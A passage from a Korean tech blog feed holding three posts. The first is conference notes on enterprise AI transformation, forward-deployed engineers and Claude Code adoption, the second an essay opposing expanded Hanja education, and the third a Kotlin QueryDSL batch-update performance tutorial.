- 1세대: 사내 AX팀(=사내 Palantir) 구축 — 평생 해야 하는 모델, 한계 확인됨
- 2세대: 전 직원에게 Claude Code를 가르치자 — 실제로 다 따라오진 않음, 주니어 이탈
- 3세대: "스타트업(15인 미만)에서는 성공사례가 있다. 너희가 부서 하나만 맡아 AX 해봐"
  - 스페이스와이가 매출 24억, 인력 4~5명일 때 불려간 세대
  - 자동화 80개씩 하지만 그래도 조직이 안 바뀜
- 4세대(현재 시도): 꼭짓점 AX — 팀 리더를 AI Native Builder로 만들기
  꼭짓점 AX: 스페이스와이가 명명한 AX 접근법. 팀 전체를 한 번에 바꾸는 것이 아니라 "꼭짓점(팀 리더)"을 먼저 AI Native Builder로 전환하면, 그 리더의 감각이 팀 전체의 일하는 방식을 바꾼다는 관점.
  - 모 유니콘 사례: 15명 팀을 만들되 팀원 없이 팀장 2개월 → 이후 "대학생 뽑아달라"로 바뀜
  - 리더가 AI Native 감각을 가지면 팀이 바뀐다
현재 스페이스와이는 3세대와 4세대를 오가며 클라이언트와 실험 진행 중
- 전사 프로젝트는 크게 실패 위험 → 부서 단위 성공 후 옆 부서로 확장
공감되는 부분 — 이선민

이선민 (defytheodd)

대학생 군단으로 팀 구성 중 — 재2의 FDE 양성
- 이들이 주 5일 → 주 1일 → 주 0.5일로 전환
- FDE 1명이 주 10개 기업을 보는 모델을 연구·시도
대학생의 높은 수율/효율
- 신경가소성이 말랑말랑해야 쏟아지는 정보를 다 처리 가능
A팀장 · B팀장의 요구가 달라 충돌하는 경우에 대한 경험
- 결국 회장님 보고 단계에서 다른 게 중요하다는 경우가 빈번
- 그래서 "팀장 노이즈 캔슬링"도 병행
- 덜 중요한 건 "딸깍 1~2번"으로 빠르게 처리, 중요한 건 딸깍 여러 번으로 리소스 집중
- 이렇게 내부적으로 리소스를 재분배하는 것이 FDE의 중요한 역할

Q. FDE의 젊음 · 조직 경험 부족 · AI Native 제품 운영

황현태 (SpaceY)

FDE가 대체로 젊고 스타트업 출신 → 엔터프라이즈 조직문화 이해도 낮음이 이슈
보완책: 2인 1팀 파견
- 조직 구조 파악 담당, 업셀링 담당, 멘탈 서포터 등 역할 분담
- K-FDE는 1인 수행도 가능하지만 "도와주는 1명"은 반드시 필요
Knowledge Graph / Context Graph 논의
Knowledge Graph (지식 그래프): 개념·엔티티 간의 관계를 노드와 엣지로 표현한 데이터 구조. 단순 문서 검색(RAG)이 아닌, "A 부서의 매출"과 "B 부서의 매출"처럼 같은 단어가 다른 의미로 쓰이는 맥락까지 구조적으로 표현 가능.``RAG (Retrieval-Augmented Generation): 사용자의 질문이 들어오면 관련 문서를 먼저 검색한 뒤, 그 문서를 참고해 LLM이 답변을 생성하는 방식. 사내 AI 챗봇의 표준 구조로 자리 잡았지만, 엔터프라이즈 환경에서는 암묵지·맥락 의존 지식에 취약해 한계가 드러남.
- RAG 세팅 시대는 지났다 — 100%는 안 된다는 걸 이제 다 앎
- 지식은 암묵지 기반, A팀의 "매출"과 B팀의 "매출"이 다른 의미일 수 있음
- 해결해야 할 문제: "지식이 충돌할 때 화자·부서·조직 크기·상황에 따라 다르게 해석되는 상황"
Context Graph: Knowledge Graph에 "누가 말했는지 / 어느 조직 / 어느 시점 / 어떤 상황"까지 태깅되어 있어, 질문이 들어왔을 때 그 맥락에 맞는 지식을 골라 꺼낼 수 있게 설계한 구조. 엔터프라이즈 AI의 핵심 난제 중 하나.
스페이스와이는 "도메인 엑스퍼트를 붙여달라" 요구 안 함
- 도메인 엑스퍼트는 클라이언트의 도메인 엑스퍼트
- 대신 젊은 엔지니어가 산업(가전, P&L 등)을 완벽히 이해할 때까지 "머리 박는다"

Q. 지식을 쌓았다는 것이 기술적으로 어떻게 구현되었는가?

황현태 (SpaceY)

지식의 성격에 맞춰 구조 선택
- Graph DB에 어울리는 지식이면 Graph DB
- Graph-DB-in-RDB 구조도 씀
- pgvector도 씀
  pgvector: PostgreSQL에 벡터 임베딩을 저장·검색할 수 있게 해주는 확장. 별도 벡터 DB 없이 기존 RDB 하나로 의미 기반 검색까지 처리할 수 있어 최근 많이 채택됨.
옛날에는 벡터 DB에 강박적으로 매달렸지만, 지금은 그 지식에 어울리는 구조로 쌓음
부대표님의 조언이 큰 역할
핵심은 "쌓는 것"이 아니라 "지식 태깅"
- 누가, 어느 조직에서, 어느 시점·상황에 필요한 지식인가
- 태깅이 가장 중요
결과적으로 AI 프로젝트의 QA를 사원에게 맡기기 어려운 상황도 발생
- 책임급 노하우가 Knowledge에 들어와 있어서 사원 수준에서 QA가 안 되는 역설

Q. 제품 자체가 커스터마이징되기 쉽게 만드는 것 — 두 분의 경험은?

이선민 (defytheodd)

고민 중인 주제
- 상대 클라이언트가 본인에 대한 의존성(Dependency)을 갖게 됨
- LF에서도 "주 1일이라도 나와 달라"는 역(逆) 제안을 받은 것이 그 증거
- 의존성이 심해 암묵적 컨텍스트가 나 혼자에게 몰림 → 나가면 진전이 멈춤
끊어내기 위해 만드는 것: Harness Editor
Harness: 원뜻은 "마구(馬具)" — AI 모델·에이전트를 특정 작업에 맞게 감싸고 제약·평가·도구 사용을 제어하는 래퍼 구조. 평가·튜닝·실행 흐름을 묶어놓은 일종의 "AI 작업 틀".
- 영상 편집 시퀀스를 배치하듯이
- Human-in-the-loop / Human-out-of-the-loop 구간을 GUI로 편집 가능하게
- "LF를 나가기 위해 만들고 있다"
Human-in-the-loop (HITL): AI 자동화 흐름 중간중간에 사람이 개입·검증·승인하는 단계를 두는 설계 방식. 반대로 Human-out-of-the-loop (HOTL) 은 특정 구간을 사람 개입 없이 AI에게 완전히 맡기는 방식.

황현태 (SpaceY)

개발자의 PR(Pull Request) 방식을 지식 그래프에도 그대로 적용
- 지식 추가/삭제/수정 시 Conflict를 Knowledge Manager가 관리
- PR이 아닌, Knowledge Manager용 보고서 형태의 표현이 새로운 문화
지식공학(Knowledge Engineering) 시대가 다시 도래
고객사 자체가 커스텀할 수 있는 것이 최종 목표지만, 솔직히 현 세대에서는 어렵다고 봄
- AI Native한 세대(현 20대 중반)가 올라올 때 비로소 가능해질 것

Q. 제조업에서 AX가 특히 잘 적용되는 부분이 있는가?

황현태 (SpaceY)

재료/재고 예측/발주 영역 — 100% 도움됨
적용 방식
- Vision 기반도 가능
- MES 같은 시스템이 있다면 거기에 붙여서 운용 가능
  MES (Manufacturing Execution System): 제조 실행 시스템. 공장의 생산 현장에서 설비·작업·재고·품질 데이터를 실시간으로 수집·관리하는 시스템. ERP보다 더 현장에 밀착된 레이어.
뷰티·음료 제조는 원자재 관리 흐름이 유사하므로 서로 참고 가능

3부. Fireside Chat #2

김요섭 (Worxphere CTO) · 최한길 (채널톡 FDE Lead)
진행: 황현태 (SpaceY)

Q. 전사 비개발직군 250명을 Claude Code로 AX 전환하는 전략은?

김요섭 (Worxphere)

전사 약 550명, 그 중 비프로덕트 조직이 약 250명
본인의 역할: 전사 AX를 리드하는 "회사 내부 FDE"
- 직속 FDE 팀이 비개발 조직의 AX 전환을 담당
- 본인은 CTO로서 프로덕트 전체 조직의 AX를 같이 진행
고민의 출발점
- 개인 생산성/팀 생산성 레퍼런스는 많은데, "전사의 생산성"을 높이는 케이스는 드물었음
- 대표와 논의한 결론: 목표는 "전사의 실행력 향상 + 깊이 있는 의사결정"
실행 원칙: Top-down 우선
- 임원 12명 중 개발자 출신은 본인 · 개발실장 · 대표 3명, 나머지는 비개발자
- 지지난주에 임원 대상 AX 전환 교육 실시
- 임원들이 Claude Code 기반으로 에이전트 20개씩 띄워 본인·조직 이득을 먼저 실현
왜 Top-down이 먼저인가
- 작년부터 팀 단위로 AX 시도 → 개발자가 팀에 합류하는 수준으로는 생산성 향상 한계
- 결국 조직이 일하는 방식, 직무 정의 자체가 바뀌어야 함
- 임원이 AX 되지 않으면 이 변화가 워킹하지 않음
진행 순서
- 임원 전환 → 주간 보고 등 업무 방식을 AI Agent 기반으로 Real-time 받게 함
- 이후 FDE 팀이 비개발 직원 팀 단위로 투입해 전환·생산성 향상 수행

Q. 솔루션 아키텍트와 FDE의 차이는?

Solution Architect (SA): 고객사가 특정 제품·플랫폼(AWS, GCP, Palantir 등)을 도입·활용할 때, 기술 구조를 설계해 주고 프리세일즈 단계에서 기술 컨설팅을 해주는 엔지니어. 한국 SI 업계에서는 "솔루션 아키텍트"와 "세일즈 엔지니어"가 거의 같은 맥락으로 쓰임.

최한길 (채널톡)

팀 소속의 차이가 본질
- 솔루션 아키텍트/세일즈 엔지니어 시절: 엔지니어 팀 소속
- 현재 FDE: AX팀 소속
핵심 KPI가 다름
- 세일즈 엔지니어는 프리세일즈 의사결정을 빠르게, 리드타임 축소가 목표
- FDE는 회사 매출 증가가 목표 — 채널톡은 AI 상담 에이전트 ALF를 주력 판매
  ALF: 채널톡이 주력으로 판매 중인 AI 상담 에이전트 제품명.
- "어떻게 더 빨리 팔고, 더 빨리 세팅할 수 있을까"를 고민
세일즈 단계 조인 여부는 시장별로 다름
- B2B SaaS, 특히 엔터프라이즈는 딜 호흡이 2~3년
- 엔터프라이즈에서는 엔지니어의 프리세일즈 참여가 병목 아님
- 미드마켓에서는 좋은 데모 퀄리티가 매출에 직결
채널톡의 시장 정의
- 엔터프라이즈: C레벨이 직접 꼽아준 고객
- 미드마켓: C레벨이 안 꼽아주고 SMB도 아닌 것

Q. Claude Code 전환의 성과 평가는 어떻게 책정하는가?

김요섭 (Worxphere)

공식적으로는 3개 레이어로 측정 가능
1. 토큰 사용량 리더보드 (많이 썼는지)
2. 컨텍스트 인프라 기반의 활용도 지표 (Claude Code 내 다양한 지표)
3. DORA Metrics 등 생산성 지표
  DORA Metrics: Google DORA 팀이 제시한 엔지니어링 조직 성과 지표 4종. 배포 빈도, 변경 리드타임, 변경 실패율, 복구 시간(MTTR). 개발 조직 생산성 평가의 표준 지표.
본인의 결론: 디테일한 측정은 의미 있을까?
- 차라리 Outcome으로 얘기하는 편이 낫다
회사 관점의 Outcome
- 조직 레벨: 개발 전체 Velocity가 얼마나 빨라졌는가
- 비개발 조직: 실행력이 얼마나 빨라졌는가
- 프로덕트 영역: 배포 속도, 가치 전달 속도 등
정교한 측정 인프라에 많은 에포트를 쏟기보다 명확한 Outcome 기반 평가가 효율적
250명 분량의 Claude Code 비용 부담
- 당연히 크고, 단계별로 의사결정 중
- 선행 작업: AI Governance 먼저 구축 (500~600명 직원, 천만 명 규모 사용자 대응)
  AI Governance: AI 사용에 대한 전사 가이드라인·보안·권한·감사 체계. 누가 어떤 데이터를 AI에 넣을 수 있고, 어떤 출력물을 외부에 내보낼 수 있는지 등을 정의하는 운영 기반.
- 보안·POC를 통해 안전성과 리스크 없음을 증명해 가며 점진 확대
  POC (Proof of Concept): 본격 도입 전에 작은 범위에서 "이 기술/제품이 실제로 우리 상황에서 작동하는가"를 검증하는 파일럿 프로젝트.

Q. Claude Code 전환 속도가 가장 빨랐던 직군은?

김요섭 (Worxphere)

프론트엔드, 앱 개발자
배경
- 작년 8월부터 6개 프로덕트를 4개월 만에 동시 리빌드하는 대형 프로젝트 진행
- 클라이언트·프론트·앱 엔지니어를 AI 기반 코딩 생산성 향상 타깃으로 지정
- 당사자들 간증: 개인 생산성이 약 8배 상승
- 그 인원들이 현재 회사의 FDE 팀 멤버가 됨
  - 본인 직속 FDE 2명도 원래 클라이언트 엔지니어 출신
그 경험이 FDE 조직과 AI Native 전환의 Key Moment

Q. 채널톡은 FDE를 어떤 구성으로 고객사에 투입하는가?

최한길 (채널톡)

전체 FDE 팀은 5명 한 팀
- 팀을 애매하게 나누면 오히려 업무가 안 됨
- 팀 간 교집합 영역에 대한 의사결정이 느려지기 때문
고객사 투입 방식은 시장에 따라 다름
- 미드마켓: AX 컨설턴트(DS)가 직접 투입
  DS (Deployment Specialist): 채널톡 내부 명칭으로, 개발자가 아닌 AX 컨설턴트를 가리킴. 고객사에 직접 들어가 제품을 세팅·활용하도록 돕는 역할.
  - 개발자는 아니지만 Vibe Coding/AI 이해도 높음
  - 채널톡 ALF에 대한 이해도 높아 세팅·해결이 빠름
- 엔터프라이즈: FDE가 AX Ops 역할 수행
  AX Ops: DevOps처럼 "AX 운영(Operations)"을 담당하는 조직 컨셉. AX가 현장에서 잘 굴러가도록 공정·도구·병목을 점검하고 개선하는 역할.
  - 베스트 프로덕트를 위한 "공장" 관점으로 접근
  - 어느 설비에서 시간이 얼마 걸리는지, 병목이 무엇인지 체크
  - DS분들이 빠르게 세팅할 수 있도록 하는 장치 제작 및 공정 체크
왜 솔루션 아키텍트 방식과 다른가
- AWS/GCP/Palantir처럼 인프라 깊이 들어가야 하는 제품은 비개발자가 쓰기 어려움
- 채널톡은 상담 팀장·상담사가 쓰는 툴 — 자유도는 높되 난이도는 낮음
- 엔지니어가 직접 투입되기엔 ROI가 안 나옴, 대신 AX 컨설턴트의 속도를 끌어올리는 쪽이 최적

Q. 인하우스 FDE 팀을 만들려는 회사에 어떤 조언이 있는가?

김요섭 (Worxphere)

FDE 팀만으로는 해결되지 않음
본인은 "회사 내부 FDE"로서 뒤에서 풀어주는 역할
- 보안 문제 (폐쇄망, 앱 차단 등)
- 데이터 분산·소트 구성 등 플랫폼 레벨 이슈
- 조직 이슈 (현업에서 FDE가 마주치는 것들)
FDE 팀 위에 CTO/CIO/CEO 레벨의 스폰서십이 반드시 필요
이것이 "에코 역할 / 리드 에코"에 해당

Q. 최근 힙한 기술 대응은 어떻게 하고 있는가?

최한길 (채널톡)

"AX"라는 키워드는 수혜는 받고 있지만 본인은 별로 안 좋아함
도구가 많이 나오는 것과 별개로, 본질인 사람이 강해지지 않으면 의미 없음
매니저 입장에서 더 중요하게 보는 역량
- 체력
  - 실행력, 굳센 마음가짐, 씩씩하게 세상을 살아갈 수 있는 체력
- 유연한 사고력
  - 지금 로직이 맞다고 믿되, 틀렸다면 언제든 수정할 수 있는 태도
도구 전환 러닝 커브에 에너지를 다 태우는 것은 오히려 손해

김요섭 (Worxphere)

시니어 의사결정자 입장에서는 "큰 방향"을 본다
- 하루에도 여러 번 업데이트되는 기술 트렌드는 계속 보지만, 큰 그림이 어디로 가는지가 핵심
- 해야 할 것뿐 아니라 "하지 말아야 할 것"을 결정해야 하기 때문
Claude Code 로드맵·릴리즈 노트를 깊이 읽으며 제품의 전략과 의도 파악
두 가지 다 병행: 업데이트 팔로우업 + 큰 방향 의사결정

Q. 폐쇄망 / SAP ERP 등 엔터프라이즈 기간계 연동 경험은?

김요섭 (Worxphere)

폐쇄망 관련은 본인만 해당 (개인정보 처리 부분)
SAP ERP 연동 방식
SAP ERP: 독일 SAP社의 전사적 자원관리(ERP) 시스템. 대기업의 재무·구매·생산·인사 데이터가 모이는 기간계 시스템. 한국 대기업 대부분이 SAP 사용.
- SAP에 바로 붙이지 않음
- 사내 Data Lake에 SAP 데이터를 먼저 소프트 추출·축적
- 그 Data Lake에서 전사의 AI 에이전트가 접근 가능한 구조 구축
- 데이터 Write는 SAP에 직접 넣고, 필요한 데이터를 다시 가져와 보관
Data Lake: 정형/비정형 데이터를 원본 그대로 대량 저장하는 저장소. 정제된 데이터만 넣는 Data Warehouse와 대비됨. SAP 등 원천 시스템의 데이터를 복제·적재해 전사 AI가 접근할 수 있는 허브로 활용.

Q. 채널톡의 AX 전환에 대해 — 엑스퍼트(파트너)와의 커뮤니케이션은?

최한길 (채널톡)

AX 내에서 엑스퍼트를 밀착 담당하는 부문 존재
- 예전 자유시장처럼 흘러가던 커뮤니티·리드 흐름을 최근엔 적극 관리 중
- 리드 확보 후 어떻게 분배할지를 고민
채널톡 팀의 손이 한정적이므로 결국 시장에 맡겨야 하는 부분이 존재
엑스퍼트 전담 인력 계속 고용 중
오퍼레이션이 자주 바뀌고 외부 전달이 민감해 혼란이 있을 수 있음 — 커뮤니티 채널 통해 전달 가능

Q. 개인 생산성의 합이 조직의 속도를 대변하지 않는 문제 — 의사결정 품질을 높이는 AX 전략은?

김요섭 (Worxphere)

회사는 두 레이어로 나뉨
- 의사결정 레이어 (임원)
- 실행 레이어 (임직원)
전사 생산성 = 깊고 빠른 의사결정이 오해 없이 실행으로 전달될 때 발생
임원부터 AX 전환한 이유
- 의사결정이 느린 이유는 결국 데이터·지표
- 주간회의에서 "다음 주에 얘기하자"가 반복되는 이유도 데이터 대기
- 그래서 임원 AX와 동시에 데이터 인프라 전환을 진행
데이터 측면 개선
- 부서마다 달랐던 "매출" 정의를 Data Catalog로 정리 (주주사 보고, 임원 집계 등이 제각각이었음)
  Data Catalog: 회사에서 쓰는 데이터 항목들의 정의·출처·담당자를 정리해 놓은 목록. "매출"이 부서마다 다른 의미로 쓰이는 것을 단일 정의로 통일하는 기반.
- 의사결정 빠르게 하기 위한 단일 소스 확보
- 배치 중심이었던 데이터 흐름을 준실시간으로 전환 — FDE 팀과 데이터 분석가 협업
임원 AI Agent 구성
- CTO/CEO/CFO용 AI 에이전트 각각 운영
- 주요 보고 전에 해당 에이전트들과 여러 턴 돌려 의사결정 깊이 확보
의사결정 시간 자체를 만들어 주기
- 임원들이 실제로 의사결정에 쓸 시간보다 면접·인터뷰·결재 등에 쓰는 시간이 과도함
- 이런 부분을 자동화해 의사결정 집중 시간 확보
실행력 영역
- 의사결정 결과가 중간 레이어를 거치지 않고 임직원 백그라운드에 즉시 커넥팅되도록 구성
- "해야 할 일"과 "하지 말아야 할 일"을 빠르게 결정해 주는 것이 실행력을 올리는 또 다른 방법

Q. AX를 하다 보면 조직 구조 자체의 변화를 맞이하게 되는데, 워크스피어 내부에서도 그런 일이 있었는가?

김요섭 (Worxphere)

전사 AI Native 전환을 하면서 본인 CTO 역할부터 재정의
- 전통 CTO: 개발 조직 아키텍처 + 비개발자에게 개발 용어 번역 + 프로젝트에 개발자 어사인
- 현재: AI가 개발하는 시대이므로, 사람과 AI가 재협업할 수 있게 조직 문화·직무·일하는 방식을 다시 설계하는 사람이 CTO
FDE의 역할도 재설계됨
- 단순히 생산성을 올리러 들어가는 게 아니라, 일하는 방식과 직무의 역할 자체를 재설계
임원의 지원 필수 — FDE 혼자서 할 수 있는 일이 아님
프로덕트 조직도 재정의 중
- 프론트엔드/백엔드의 전통 구분이 아닌, 자사만의 새 Arena와 직무 정의
- 기존 SDLC를 AI-DLC / Context-DLC 등으로 재정의
  SDLC (Software Development Life Cycle): 요구사항·설계·구현·테스트·배포로 이어지는 전통적 소프트웨어 개발 생명주기.
- AI-DLC / Context-DLC: 워크스피어가 내부적으로 재정의 중인 개념. AI가 개발의 중심이 된 시대에 맞춰 "Context 관리·AI 에이전트 운용"을 1급 시민으로 포함시킨 새로운 개발 생명주기 프레임.
- 조직명·역할·배포 방식까지 동시에 재설계

참고 링크

SI를 하겠다는 이상한(?) 스타트업 '스페이스와이' — 바이라인네트워크

한글 전용 하의 한자 교육에 관하여

2026-04-17T18:00:00+09:00

한글 전용 하의 한자 교육에 관하여

나는 한국어를 쓸 때 국한문혼용체를 즐겨 쓴다. 블로그 글도, 소셜 미디어 포스트도 한자를 섞어 쓸 때가 많다. 한자에 대한 개인적 애착은 분명히 있다. 그런데도 한자 교육을 한국의 공교육에서 심화해야 한다는 주장에는 동의하지 않는다. 이 글은 그 이유를 설명하려는 시도다.

교육의 디폴트는 가르치지 않는다이다

교육은 비용이 많이 든다. 교사를 양성해야 하고, 교재를 만들어야 하고, 무엇보다 학생들의 시간을 써야 한다. 학생의 시간은 유한하므로, 어떤 과목을 교육 과정에 넣는다는 것은 다른 과목에 쓸 수 있었을 시간을 빼앗는다는 뜻이기도 하다. 그렇기 때문에 어떤 과목이든 교육 과정에 포함하려면 그 효용이 과학적으로 입증되어야 한다. 배우면 도움이 될 것이라는 막연한 기대로는 부족하다. 도움이 되지 않는 교육이란 없기 때문이다. 바느질도 배우면 도움이 되고, 목공도 배우면 도움이 된다. 문제는 한자 교육이 도움이 되느냐가 아니라, 같은 시간을 투입했을 때 다른 교육보다 더 도움이 되느냐이다.

한자 교육이 한국어 문해력 향상에 도움이 된다는 과학적 근거는 현재로서는 없다. 종종 한자를 알면 한국어 어휘력이 좋아진다는 주장이 있지만, 이를 뒷받침하는 체계적인 연구는 찾기 어렵다. 교육 정책은 직관이 아니라 근거 위에 서야 한다. 효용이 입증되지 않는 한 디폴트는 언제나 가르치지 않는다이고, 이는 한자 교육에도 마찬가지로 적용된다.

국한문혼용체의 이점과 현실론

솔직히 말하면, 국한문혼용체가 어문 정책적으로 이점이 많다고 생각한다. 한자문화권의 다른 언어와의 접점이 넓어지고, 텍스트의 정보 밀도가 높아진다. 모르는 단어를 마주했을 때 대충 추측해서 넘어가지 못하고, 사전을 찾아보게 만드는 효과도 있다. (그게 불편해서 싫다고 할 사람도 많겠지만.) 동형이의어 구별도 쉬워지는데, 이 마지막 이점은 사람보다는 기계에게 더 의미가 있다. 사람은 맥락이 충분하면 동형이의어 때문에 곤란을 겪을 일이 드물지만, 검색 엔진이나 자연어 처리 시스템은 그렇지 않다. 국한문혼용체는 텍스트를 더 기계 친화적(machine-readable)으로 만든다.

하지만 이 장점들은 한자가 일상적으로 쓰이는 환경을 전제한다. 한국에서 한글 전용이 정착된 지 반 세기에 가까워진 지금, 한자를 읽을 수 있는 한국인의 비율은 이미 크게 낮아졌다. 이 상황에서 국한문혼용체의 이점을 말하는 것은, 영어가 아무리 현실적으로 유용하다 해도 한국에서 영어를 공용어로 삼을 수 없는 것과 비슷한 구조이다. 이론적 이점이 있다는 것과 지금으로부터 그것을 실현할 수 있다는 것은 별개의 문제다.

내 입장을 한마디로 정리하면 이렇다. 애초에 한글 전용을 하지 않았다면 좋은 점이 많았을 것이다. 하지만 이제 와서는 돌이킬 수 없다. 한글 전용을 계속해야 한다는 현실을 받아들여야 한다.

한자 혼용 없는 한자 교육의 역설

한국의 한자 교육 논의에서 흔히 보이는 입장이 있다. 한자 혼용은 반대하지만 한자 교육은 찬성한다는 것이다. 이 입장은 언뜻 타협적으로 보이지만, 실은 모순에 가깝다고 생각한다. 배운 것은 써야 유지된다. 한자를 학교에서 배워도 졸업 후 일상에서 한자를 마주칠 일이 없다면, 그 지식은 빠르게 휘발되고 만다. 사용 맥락 없는 지식의 유지 비용은 과도하게 높다. 한글 전용인 한국 사회에서 한자 교육은 수영장 없이 수영을 가르치는 것과 다르지 않다.

나 자신의 한자 지식이 어떻게 유지되어 왔는지를 돌아보면, 이 논점은 더 분명해진다. 나는 국민학교 시절 한자 교육을 어느 정도 받았다. 하지만 그것만으로는 충분하지 않았다. 무협지를 좋아해서 한자에 계속 노출되었고, 고등학교에서 제2외국어로 중국어를 배웠고, 성인이 된 뒤에는 일본어를 배우면서 한자를 까먹지 않을 수 있었다. 정규 교육이 씨앗을 뿌렸을 수는 있지만, 그것을 유지한 건 전적으로 개인적 동기와 지속적 노출이었다. 이는 두 가지를 시사하는데, 한자에 관심이 있는 사람은 공교육이 없어도 스스로 배울 수 있다는 것과, 관심이 없는 사람에게는 공교육이 있어도 지식이 남지 않는다는 것이다. 어느 쪽이든 공교육에서의 한자 교육을 정당화하기는 어렵다.

취향과 정책의 구분

한자를 좋아하는 것과 한자 교육을 한국의 공교육에서 해야 한다고 주장하는 것은 전혀 다른 이야기이다. 나는 한자를 좋아한다. 한자의 구조가 주는 지적 즐거움을 잘 알고, 국한문혼용체로 글을 쓸 때의 묘미도 잘 안다. 하지만 그것은 나의 취향이지, 모든 학생에게 부과할 교육의 근거는 아니다. 교육 정책은 개인의 취향이나 향수가 아니라, 과학적 근거와 기회비용의 비교 위에서 결정되어야 한다. 한자 교육의 효용이 입증되지 않은 한, 그리고 한글 전용이라는 현실이 바뀌지 않는 한, 한자 교육을 한국의 공교육에 포함할 이유는 없다.

QueryDSL을 이용한 Batch Update 성능 개선

2026-04-14T00:00:00+09:00

JPA를 사용하다 보면 대량의 데이터를 수정해야 하는 상황에서 Dirty Checking 방식의 성능 한계에 부딪히게 됩니다. 이번 포스팅에서는 JPA Dirty Checking의 성능 이슈를 살펴보고, QueryDSL의 SQLQueryFactory를 활용한 Batch Update로 성능을 획기적으로 개선하는 방법을 소개합니다.

개요#

대량의 데이터를 수정해야 할 때, 일반적으로 JPA의 Dirty Checking 방식을 사용합니다. 엔티티를 조회하여 영속성 컨텍스트에 올린 뒤 필드를 변경하면 트랜잭션 커밋 시점에 변경 감지가 일어나 UPDATE 쿼리가 실행되는 방식입니다. 하지만 데이터의 양이 늘어날수록 이 방식의 처리 속도는 급격히 느려질 수 있습니다. 엔티티 수만큼 개별적인 UPDATE 쿼리가 발생하기 때문입니다.

이전 포스팅(QueryDSL을 이용한 Batch Insert 성능 개선)에서 Insert 성능 개선 방법을 소개한 적이 있습니다. Update도 동일한 접근으로 해결할 수 있습니다.

이미 프로젝트에서 JPA와 QueryDSL을 사용하고 있다면, 추가적인 라이브러리 도입 없이 QueryDSL-SQL 모듈을 활용하여 Type-Safe하게 Batch Update를 구현할 수 있습니다. 이번 포스팅에서는 그 방법을 소개합니다.

JPA Dirty Checking의 성능 이슈#

JPA의 일반적인 Update 패턴은 엔티티를 조회하여 영속성 컨텍스트에 올린 뒤, 필드를 변경하고 트랜잭션이 커밋될 때 변경 감지(Dirty Checking)를 통해 UPDATE 쿼리를 실행하는 방식입니다.

@Transactional
fun updateWriters(ids: List<Long>) {
    val writers = writerRepository.findAllById(ids)
    for (writer in writers) {
        writer.name = "updated"
        writer.score = 100
        // dirty checking → 트랜잭션 커밋 시 건별 UPDATE 발생
    }
}

위 코드는 사용하기 편리하지만, 1,000개의 데이터를 수정하면 1,000번의 UPDATE 쿼리가 데이터베이스로 전송됩니다. 여기에 findAllById로 인한 SELECT 쿼리까지 더하면, 대량 수정 작업에서는 심각한 성능 저하의 원인이 됩니다.

QueryDSL Batch Update 구현#

QueryDSL-SQL 모듈을 사용하면 JPA 엔티티가 아닌 JDBC 레벨에서 직접 SQL을 구성하여 실행할 수 있습니다. 이를 통해 addBatch 기능을 활용한 Bulk Update를 구현할 수 있습니다.

구현 코드 예시#

SQLQueryFactory를 사용하여 Batch Update를 구현하는 방법은 다음과 같습니다.

@Service
class BatchInsertService(
    private val dataSource: DataSource
) {
    private val sqlQueryFactory: SQLQueryFactory by lazy {
        SQLQueryFactory(Configuration(MySQLTemplates()), dataSource)
    }

    @Transactional
    fun batchUpdate(writers: List<Writer>): Long {
        // 1. 테이블 메타데이터 정의
        val writerTable = RelationalPathBase(Writer::class.java, "writer", null, "writer")
        // 2. SQLQueryFactory (공유 인스턴스 사용)
        val update = sqlQueryFactory.update(writerTable)
        // 3. 데이터를 Batch에 추가
        for (writer in writers) {
            val id = requireNotNull(writer.id) { "Writer id must not be null" }
            update
                .set(QWriter.writer.name, writer.name)
                .set(QWriter.writer.email, writer.email)
                .set(QWriter.writer.score, writer.score)
                .set(QWriter.writer.reputation, writer.reputation)
                .set(QWriter.writer.active, writer.active)
                .where(QWriter.writer.id.eq(id))
                .addBatch() // 메모리에 쿼리 적재
        }

        // 4. 일괄 실행
        return update.execute()
    }
}

코드 설명

RelationalPathBase: SQL 쿼리 작성을 위해 대상 테이블의 메타데이터를 정의합니다. SQLQueryFactory는 RelationalPath 타입을 요구하기 때문에, JPA 엔티티 기반의 QWriter(EntityPathBase)를 테이블 참조로 직접 사용할 수 없어 별도로 정의합니다.
QWriter.writer.*: 컬럼 참조에는 기존에 생성된 Q클래스의 path를 그대로 활용합니다.
addBatch(): 루프를 돌며 데이터를 즉시 UPDATE 하지 않고, JDBC의 Batch 기능을 활용하기 위해 메모리에 쿼리 파라미터들을 쌓아둡니다.
execute(): 쌓여있는 Batch 쿼리를 데이터베이스로 한 번에 전송하여 실행합니다.

Insert와의 구조적 차이#

Batch Insert와 Batch Update는 동일한 addBatch + execute() 패턴을 사용하지만, 중요한 구조적 차이가 있습니다.

항목	Batch Insert	Batch Update
`where` 조건	불필요	필수
테이블 참조	`RelationalPathBase`	`RelationalPathBase` (동일)
컬럼 참조	`QWriter.writer.*`	`QWriter.writer.*` (동일)
id 처리	없음	`requireNotNull` 필요

가장 중요한 차이는 where 조건입니다. where 없이 addBatch()를 호출하면 해당 UPDATE는 테이블 전체를 대상으로 실행되어 의도치 않은 전체 UPDATE가 발생할 수 있습니다. 반드시 where(QWriter.writer.id.eq(id))와 같이 대상 row를 특정해야 합니다.

또한 EntityAuditing을 통해 상속받는 id 필드는 Long? (nullable) 타입이므로, requireNotNull로 null을 방어한 뒤 사용해야 컴파일 타입 안전성이 보장됩니다.

Batch 동작 검증 방법#

addBatch를 사용하면 SQL 내용 자체는 dirty checking과 동일하게 UPDATE writer SET ... WHERE id = ? 형태입니다. 쿼리 내용만으로는 실제로 batch가 동작하는지 구분하기 어렵습니다.

실제 전송 방식의 차이는 JDBC URL에 profileSQL=true를 추가하면 로그로 확인할 수 있습니다.

1	jdbc:mysql://localhost:3306/mydb?rewriteBatchedStatements=true&logger=Slf4JLogger&profileSQL=true

케이스 1 — dirty checking (N번 통신)

[QUERY] update writer set active=1,email='email-2',name='updated'... where id=2
        [at ProxyPreparedStatement.executeUpdate]
[FETCH] [at ProxyPreparedStatement.executeUpdate]
[QUERY] update writer set active=1,email='email-3',name='updated'... where id=3
        [at ProxyPreparedStatement.executeUpdate]
[FETCH] [at ProxyPreparedStatement.executeUpdate]
[QUERY] update writer set active=1,email='email-4',name='updated'... where id=4
        [at ProxyPreparedStatement.executeUpdate]
[FETCH] [at ProxyPreparedStatement.executeUpdate]
...

executeUpdate가 건마다 호출되어 [QUERY] + [FETCH] 쌍이 건수만큼 반복됩니다. 10건이면 DB 서버로 10번 왕복합니다.

케이스 2 — addBatch (1번 통신)

[QUERY] update writer
set name = 'new'
where writer.id = 1;update writer
set name = 'new'
where writer.id = 2;update writer
set name = 'new'
where writer.id = 3;
...
update writer
set name = 'new'
where writer.id = 28;

